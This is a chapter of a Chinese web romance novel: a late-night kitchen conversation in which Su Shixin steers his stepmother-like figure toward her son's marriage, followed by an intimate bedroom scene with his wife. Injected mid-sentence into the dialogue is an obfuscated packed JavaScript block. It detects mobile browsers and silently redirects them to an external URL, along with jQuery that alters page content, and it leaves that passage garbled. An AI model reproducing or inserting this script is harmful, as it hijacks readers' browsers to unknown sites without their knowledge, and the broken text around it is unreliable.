83. 第 83 章

作品:《未晚[先婚后爱]

    时间已至深夜,佣人们全都回房休息,一楼悄然无声,唯有客厅一盏落地灯发出幽暗的光芒。


    宿时信穿着黑色睡衣,从这微弱的幽暗光芒中穿越,直奔厨房而去。以为厨房也是空无一人,却没想到还有一个清瘦的身影在灶台前忙碌不停。


    他在看到那个身影时,脚步倏地顿住,而后不动声色地从橱柜里取出一只水杯,打开净饮水机。


    纯净水从净饮水机流入杯子的声响把赵唯春吓了一跳,她惊恐回头,看到身后站在饮水机前的人,半晌说不出话来。


    等过了一会,镇定下来后,她才说道:“时信,你下来喝水啊。”


    语气里有着刻意的亲近与讨好,这是积攒了二十多年的习惯,非一朝一夕所能改变。


    原本以为她的这句话不会得到回应,就像她这么多年的刻意亲近与讨好一样,宿时信也早就习惯成为一堵真空的墙壁,所有来自赵唯春的声音和行为一旦触及到他所在的范围里,都会被瞬间无声静音。


    宿时信无视她,不会给她任何反馈,不管是强烈的拒绝反抗,亦或者是不咸不淡的回应,统统都没有。


    宿时信将赵唯春当成了一个完完全全的透明人。


    没有人面对这样的一道真空墙壁会不恼怒,不抓狂,不泄气,赵唯春当然也会有这些负面的情绪反应。


    毕竟相比起宿之苦,实际上她更将过多的心思都放在了宿时信身上。


    关注着他的吃穿住行,关心着他的身体健康,当宿时信拿下每一个第一名,一个又一个奖杯时,她比任何人都骄傲自豪。在宿时信意外出车祸,在手术室里被紧急抢救时,她焦灼地在病房外等待,甚至在无人的楼梯间跪下祈祷,将所有的希望都寄托在她从来都不相信的满天神佛手上。


    虽然宿时信从不需要,她的行为在别人看来更像是自我感动,但赵唯春依旧义无反顾。


    她深爱着已逝的恋人,爱屋及乌,也包括爱他的孩子。


    然而付出了全部的用心,却始终没有任何回应,这是一道不知道是对是错,也可能永远没有答案的题目。她花费了二十年的时间,却始终得不到分数。


    赵唯春一开始还会想,天长日久,宿时信总会对她的印象改观,哪怕不会将她当成亲近的长辈,那么做同一栋屋檐下最熟悉的陌生人也是好的。


    后来,她又想,如果没有善意,那么抗拒或者是愤怒,把她当成仇人,拒绝她进宿家来,想要将她赶出去也不错。


    至少,宿时信对她这个人是有情绪的。


    然而,这么多年下来,她的这两个想法全都落空。


    宿时信没有将她当成最熟悉的陌生人,因为即使是陌生人,在听见对方的问好后,即使再不想回应,碍于教养和礼貌也会敷衍一下。当然,仇人更是无稽之谈,宿时信从小到头没有对她说过一句重话,露出过任何厌恶的表情,更遑论要将她赶出去这种行为举止。


    无视、无视、无视……


    宿时信最习惯也最擅长的就是无视。


    所以在赵唯春说出那句话后,并没有期待得到回应,她转过身,准备继续清理灶台上的食材,却没想到,听到了一声淡淡的“嗯”在她身后响起。


    漫不经心地从喉腔里挤出来的一个音节,如果不是因为深夜太安静,周围除了他们两人再没有旁人,赵唯春真会以为这声“嗯”是从她心底幻想出来的。


    刚将刀具拿起来,准备直直切下去的手瞬间偏离了角度,一块薄薄的三角形的山药落在桌案,混杂在一堆方方正正的山药堆里显得尤为怪异明显。


    赵唯春回过头。


    净饮机下的杯子里已经接满了水,机器停止工作,但他却没有离开,宿时信仍旧站在饮水机旁边,而且正看向她。


    茫然失措,只有这四个字能够形容赵唯春此刻的状态。


    她双手紧紧互相扣住,用力攥了两下,十指指甲深陷入手背,仿佛通过这样的动作能够积攒一点勇气,她问道:“你刚才在跟我说话?”


    赵唯春还是不敢相信。


    宿时信脸上没有什么表情,目光沉稳无波,好像刚才说话的人不是他一样。


    赵唯春有些失望,怕引起他的反感,虽然宿时信在她面前从来没有显露出这样的情绪。


    她尴尬地笑了笑,“我好像听错了。”


    “这么晚还不休息?”这一次没有听错,宿时信在她面前开了口,每一个字都是从他嘴里说出来的。


    赵唯春结结实实的愣在当场,她努力解答了二十年的题目终于有人判了对错,她的解题过程是正确的,答案也是正确的。


    她得到了这个题的分数。用了二十年。


    因为激动和兴奋,她的眼底有了热意,但还在努力克制着,企图以微笑来代替泪水。


    最后,因为保持微笑这个动作太久,她的嘴角往两边上扬得过了头,看起来像是马戏团里的小丑才会展露出来的,那种特有的怪异假笑。


    眼泪倒灌进眼睛里,顺着咽喉流入心里,将整颗心肺肝胆都浸染得湿漉漉的,连带着再次开口说话时,每个字都带着淋漓的水雾。


    “爷爷明早想喝莲子百合粥。”因为嘴角上扬得太久,她说话时腮边的两块肌肉都感觉不听使唤,但还是依靠语言本能,将这句话说完整。这是他们的第一次交流,她不想把这场聊天搞砸。


    “我提前准备好食材,这样明早可以节省时间,把粥熬煮得久一点,爷爷吃起来好消化。”


    宿时信点了点头,再没有说什么。显然,他也不习惯这样的交流,也不知道该跟她说些什么。


    他们的关系实在怪异。


    在这个家里,宿之苦是她的亲生儿子,宿老爷子是她儿子的爷爷,可宿时信呢?


    他们非亲非故,往深了说,应该是敌对仇视的关系。


    赵唯春和宿之苦的存在,是父亲宿伯容背叛他们家庭的证据。


    而宿时信,也是宿伯容放弃初恋爱人,和别的女人结婚的明证。


    按理来说,造成这一切的最大过错方就是宿伯容。


    他们如果要申求一个解释或者是道歉,也理应去找宿伯容。


    然而,宿伯容在二十年前就已经掉进了海里,至今未找到尸骨。


    于是,他们想要的解释和歉意,自然也遥不可及,不会有人给到他们。


    赵唯春并不贪心,今晚的这两句话足够让她回味好久,也不希求宿时信能够和她继续深聊下去。然而,宿时信却像是突然间有了多余的时间和兴趣,自动将这场对话延续了下去。


    “怎么不让佣人来做?”宿时信不带感情的问道,“所有的活都让你做了,拿了工资的佣人又要做什么?”


    赵唯春的情绪已经在起初的两句话里起伏了好几个来回后,终于恢复了平静。这时候也能如常地笑着说道:“没事,我睡得晚,闲着也是闲着,就把这些提前处理了。”


    宿时信淡声道:“注意身体。”


    “……”


    蕴含着关心意味的四个字说出口并没有多少感情,但还是让赵唯春禁不住抬手擦了擦眼睛。


    “我知道的,你也是。”赵唯春笑着的样子有些狼狈,想要找点话题却怎么也找不到,瞥见他一直端着杯子,却始终不喝,忙道:“水是不是凉了,要不然重新再倒一杯,喝凉的对身体不好。”


    宿时信低头看了眼杯子里的白水,说道:“没有,温度适中。”


    “那怎么不喝?”赵唯春想起什么,“你以后要是想喝水了,可以跟我,”


    她说到这里明显停顿了下,撞见宿时信那双平静无波的眼睛后,又继续说道:“或者跟其他人说一声,可以让人给你送上去。”


    宿时信说:“我不渴,这是给蜚声倒的水。”


    赵唯春愣了一下,很快反应过来,哦了一声,笑道:“这样啊。”


    她的表情有些不好意思,作为过来人联想到了某些东西,感觉戳破了他们夫妻亲密情事后,没来由地尴尬。


    宿时信问:“宿之苦和蜚声一样大吧?”


    赵唯春没反应过来,他的话题转得很快,但还是连忙回神道:“对,之苦比蜚声大几个月,跟曲棠是同月份出生的,两个人相差没多少天。”


    宿时信:“听说他跟刘小姐最近感情稳定。”


    “……是挺稳定的。”赵唯春觉得今晚真像是做梦,宿时信不仅主动和她聊天,竟然还关心起了宿之苦,这是从来都没有发生过的事情。


    她遭受到的冲击越来越强烈,身体似乎分裂成了两半,一个人飘在半空,高兴得忘乎所以,另外一个还站在原地,镇定地跟宿时信如常聊天。


    “你没想过让他们结婚吗?”宿时信继续说,“他也到适婚年龄了,应该结婚了。”


    赵唯春说:“之苦没有跟我提起过,不过你爷爷晚上才说让他早点结婚,成家立业,等结了婚,他就能稳定下来,也该挑起重担了。”


    宿时信:“爷爷说得有道理。”


    赵唯春露出热切的笑:“我也是这样想的,不过说到底还是要看之苦的意思,他要是不愿意,咱们也不能逼他。还有那个刘小姐,人家女孩子说不定也不想那么早结婚,现在的女孩子大多都倾向晚婚晚育。”


    宿时信端着杯子的手指缓缓摩挲过杯壁,轻笑道:“刘小姐是女孩子,就算想结婚了,可能也不好意思说出口。倒是宿之苦,谈这么长时间恋爱,却一点不提结婚,这在外人看来,会觉得是他不想对刘小姐负责任。”


    赵唯春愣住,将宿时信的话仔细思索了一番,觉得他说的确实有道理。


    “……是我想的太不周到。”


    宿时信:“他们还太年轻了,看问题总是太浅显。刘小姐的家室背景和宿之苦相差无几,这么好的女孩子要是错过了,宿之苦以后肯定是要后悔的,你要为他多想想。”


    赵唯春羞愧又感激,“是我太不关心之苦了。”


    宿时信该说的已经说完,端着杯子转身离开。


    叶蜚声肯定等太久了,幸好他一开始接的是热水,浪费了这么长时间,杯子里的热水温度降低,不过入口正好合适。


    “……那个,时信,”赵唯春见他要走,连忙叫住他。


    宿时信转头看她。


    赵唯春眼底有些张皇,强作不在意,迟疑道:“……你爷爷说等之苦结了婚,就会把他名下的股份划出一部分给之苦,就是,我提前跟你说一下,如果你介意——”


    “我不介意。”宿时信倏然开口,打断她的期期艾艾。


    “股份是爷爷的,他有任意处置的权利,想要给谁我都没有意见。”


    赵唯春愣住,而后感激道:“……时信,谢谢你啊。”


    宿时信不知道她在谢什么,因为他说的都是真心话。


    爷爷怎么处置他的财产股份都是他的权利,他不会去管那些东西到底给了谁,哪怕全部给了这对母子也没关系。


    因为他并不在乎,而且


    “这是你们应得的。”宿时信淡声说道。


    不然,赵唯春数十年如一日地照顾宿老爷子,宿之苦在集团里蝇营狗苟,到头来什么也没落下,岂不是白忙活一场。


    然而,这句话落在赵唯春耳朵里,又是另一层意思,只觉得宿时信是真的接纳包容了他们,眼底的感激欣慰之意更甚。


    “对了,”宿时信又似想起什么,对她说道,“既然准备结婚,总得给刘小姐一点诚意,法国的子公司总裁预计九月份离职,如果宿之苦愿意,就让他接管这个公司。”


    “刘小姐当初也在法国留学生活过,他们以后要是长居法国,应该也会习惯。”


    赵唯春已经一句话都说不出来了,看着他,大脑空白,所有的思绪都被从天而降的喜悦冲击得一片破碎混乱。


    宿时信疑惑问道:“不愿意吗?”


    “……愿意,愿意。”


    宿时信从未给予的善意让她震惊,也忘记思索这件事背后的具体意思到底是什么,当即答应下来,“之苦肯定愿意的,你对他这么好,他高兴还来不及,怎么会不愿意。”


    赵唯春激动不已,声音语调都有些失控,不断地诉说着:“时信,你不知道之苦小时候多喜欢你,多崇拜你。其实也怪我,我那时候光让他不要打扰你,不要给你添麻烦,这才让你们的距离拉得这么远……”


    宿时信垂下眼,温度是不可控的,再待在这里,杯里的水就凉得不能再喝了。


    “那你就尽快让他们结婚领证。”宿时信说,“子公司的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850363|152159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    任职时间最晚是九月十号,错过了这个机会,之后我也没有办法再给他开口子了。”


    说完,宿时信端着水杯转身离去。


    赵唯春目送着他的背影,直到再也看不见后,双手才撑住旁边的流理台,没有让自己因震惊激动跌倒下去。


    头顶明亮的灯光照在她的身上,暖融融的。继而,有一滴眼泪掉在了地上,没有任何声音,但在光线的折射下,散发出破碎又晶亮的光芒。


    叶蜚声睡梦中察觉干燥的唇瓣上传来湿意,下意识地追随探索,直到尝到一截活动的温热物体,才悠悠醒转。


    她睁开眼,面前是一张放大的英俊脸庞,两人唇瓣相贴,宿时信还在故意用舌头打开她的牙齿。


    叶蜚声轻咬了一下他的舌尖,将他从自己身上推离开,埋怨道:“我等的水没有喝到,你还打扰我睡觉。”


    宿时信笑道:“谁让你太好亲了。”


    无语,叶蜚声朝他翻了个白眼,真的不想理他了。


    她当初怎么会觉得宿时信冷冰冰的一个人,会对这种事情不感兴趣呢,其实,男人本质上都是一样。


    连宿时信也不能免俗。


    宿时信让她坐起来,将桌上的杯子递给她,“喝吧,温度刚刚好。”


    叶蜚声没有多想,从床上坐起来的时候,盖着的被子顺势滑落下去,凉意迎面而来,她这才意识到,被子底下的身体光溜溜的,一件衣服都没有穿,连忙把滑下去的被子往上裹紧。


    接过宿时信递过来的杯子时,果不其然看到他别有深意的眼神。


    “不许看。”叶蜚声羞恼斥道。


    宿时信挑眉,听话地移开视线,“好的,老婆。”


    虽然已经听他这样叫过许多次了,但每一次还是会让叶蜚声心跳不已。


    强装平静地喝完水后,叶蜚声将杯子递还给他,发出下一项指令,“我现在需要一件睡衣。”


    宿时信将杯子放到桌上后,同她商量,想要保留住属于自己的福利,“不穿行不行?”


    “不行!”叶蜚声严肃摇头。


    两人四目相对,无声较量片刻,最后还是宿时信认输,不过,他还是为自己尽力争取到了一点权利。


    “那穿什么样的睡衣由我决定。”


    叶蜚声不以为意,她的睡衣都是普通的长袖款式,顶多颜色不一样而已,他再怎么挑也挑不出花来。


    宿时信眼底却漾满了笑意,走去衣帽间的这几米里,将好几件吊带睡裙在脑海里过了一遍,最终决定选择一条纯黑色带蕾丝花边的深V短裙。


    嗯,穿着这样的睡裙躺在被子里,应该也别有一番意趣。


    等到宿时信将那条裙子拿出来,叶蜚声看清楚后,立刻把头埋进被子里,假装什么也没看见。


    “我怎么会有这样的睡裙?”她的声音陷在柔软的被子里,有些发闷,没有露出来的脸庞早已爬满红晕。


    “当然是我买的。”宿时信镇定自若,重新坐回床边,抚摸过她垂下的雪白后颈,绅士道,“老婆,要我帮你换吗?我很乐意为你服务。”


    埋在被子里的人很久都没有反应,直到宿时信的手掌顺着她的后颈,从被子里钻进去,继而在光滑的后背流连忘返,叶蜚声被他的动作激起了一身的鸡皮疙瘩,立刻抬头抢过他手里那件看起来非常省钱的布料,然后,整个人重新躺回去,用被子将头蒙住。


    整套动作异常丝滑,等宿时信反应过来,面前就剩下一整条臃肿的“蚕蛹”。


    “宿时信,你不安好心!”叶蜚声在被子里狠声控诉他,可不知是气的还是羞的,那声音并不显得多么疾言厉色,反而听起来娇柔百媚。


    宿时信笑着拍拍“蚕蛹”,隔着被子告诉她,“老婆,这是夫妻情趣。”


    “你的情趣好恶俗!”叶蜚声在黑暗的被子里摸了摸那团布料,滑溜溜的,一只手就能全部团住。


    她的手心都跟着发烫,丢也不是,拿也不是。


    在被子里待了好久,外面却再没有声音传来,周围都静悄悄的。


    黑暗中的氧气越来越稀薄,叶蜚声呼吸变缓,但最终抵不过氧气消耗的速度,一把揭开被子,大口呼吸。


    却猝不及防看到了一具赤裸的胸膛,胸口肌肉紧实,没有多余的赘肉,肌理分明,腹肌明显。


    他什么时候脱了衣服?!


    叶蜚声还在震惊中,就被宿时信突然抓过手按在胸膛上,然后带领她的手一点点往下,嗓音沙哑,笑着说:“老婆,那我们玩点不恶俗的?”


    听起来是询问,但完全不容叶蜚声拒绝,就这样抓过她的手一直往下往下……


    叶蜚声的手指触过他的胸口、腹肌、腰胯、再继续往下时,终于受不了,彻底认输,“宿时信,你无懒,我不玩了……”


    “那我的情趣还恶俗吗?”宿时信手上动作停下,语气却饱含威胁。


    叶蜚声求饶,摇头,被抓住的手用力挣扎,“不恶俗,不恶俗,我错了,真的错了……”


    宿时信却还不放过她,继续问:“那要穿睡裙吗?”


    “……穿。”叶蜚声溃败认输,只能缴械投降,割地赔款。


    “那要老公帮你穿吗?”宿时信好整以暇,继续问道。


    叶蜚声到此最终确认,恶俗的不是情趣,分明是宿时信!


    见她不答,宿时信眼睛微眯,眼神里透露出危险,抓着她的手又有继续往下的趋势。


    “要要要!”叶蜚声连忙回答,因为情况紧急,喊出的这三声还有些破音。


    宿时信取得完全胜利,却仍感到遗憾,看着双眸里盈满了水雾的叶蜚声,真诚说道,“老婆,其实我是希望你能继续抗争,永不言败的!”


    得了便宜还卖乖,叶蜚声再也不想理他。


    将手心那团破布扔给他,然后,无力地倒在床上,悔恨道:“坏人。”


    宿时信帮她穿上那条黑色睡裙后,光明正大地欣赏了好久,最后才意犹未尽地将她抱在怀里,盖上被子,关掉房间里的照明灯。


    桌上那盏红色的长明灯悠悠燃烧,蔓延出一圈又一圈的朦胧光晕。


    昏暗中,宿时信在她的唇角印上轻吻,毫无愧色地接受这个评判。


    “我是坏人。”